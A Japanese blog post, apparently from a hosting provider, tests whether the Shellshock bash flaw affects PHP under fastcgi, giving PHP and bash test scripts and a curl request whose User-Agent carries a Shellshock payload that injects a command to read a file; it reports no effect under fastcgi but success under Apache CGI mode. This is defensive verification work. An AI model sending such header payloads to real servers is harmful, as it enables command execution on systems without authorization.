環境変数に仕込まれたコードを実行してしまうBASHの脆弱性の影響について

先日、環境変数に仕込まれたコードを実行してしまう bash の脆弱性が公開されました。
Bash specially-crafted environment variables code injection attack | Red Hat Security

Amimotoの php は fastcgi で動作しているため、PHP の exec() 関数等を利用している場合に影響が発生するか確認しましたが、問題有りませんでした。

以下、検証スクリプトです。

test.php

<?php
header( "Content-type: text/plain" );
 
echo "Hey, I'm a PHP script so wouldn't be affected, right?\n";
 
exec('/bin/bash '.dirname(__FILE__)."/test.sh", $outputs);
foreach ($outputs as $output) {
  echo $output."\n";
}

test.sh

#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /bin/bash"

攻撃と実行結果

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php" http://example.com/test.php
Hey, I'm a PHP script so wouldn't be affected, right?
Content-type: text/plain
 
Hi! I'm an ordinary CGI script which is executed by /bin/bash

なお、同様の検証スクリプトを Apache の CGI モードで動作している PHP に対して設置してみた所、攻撃が成立してしまいました。
CGI モードで PHP を実行しているサーバを利用されている方は、exec(), system() などで bash を呼び出していないか確認する必要がありそうです。

参考URL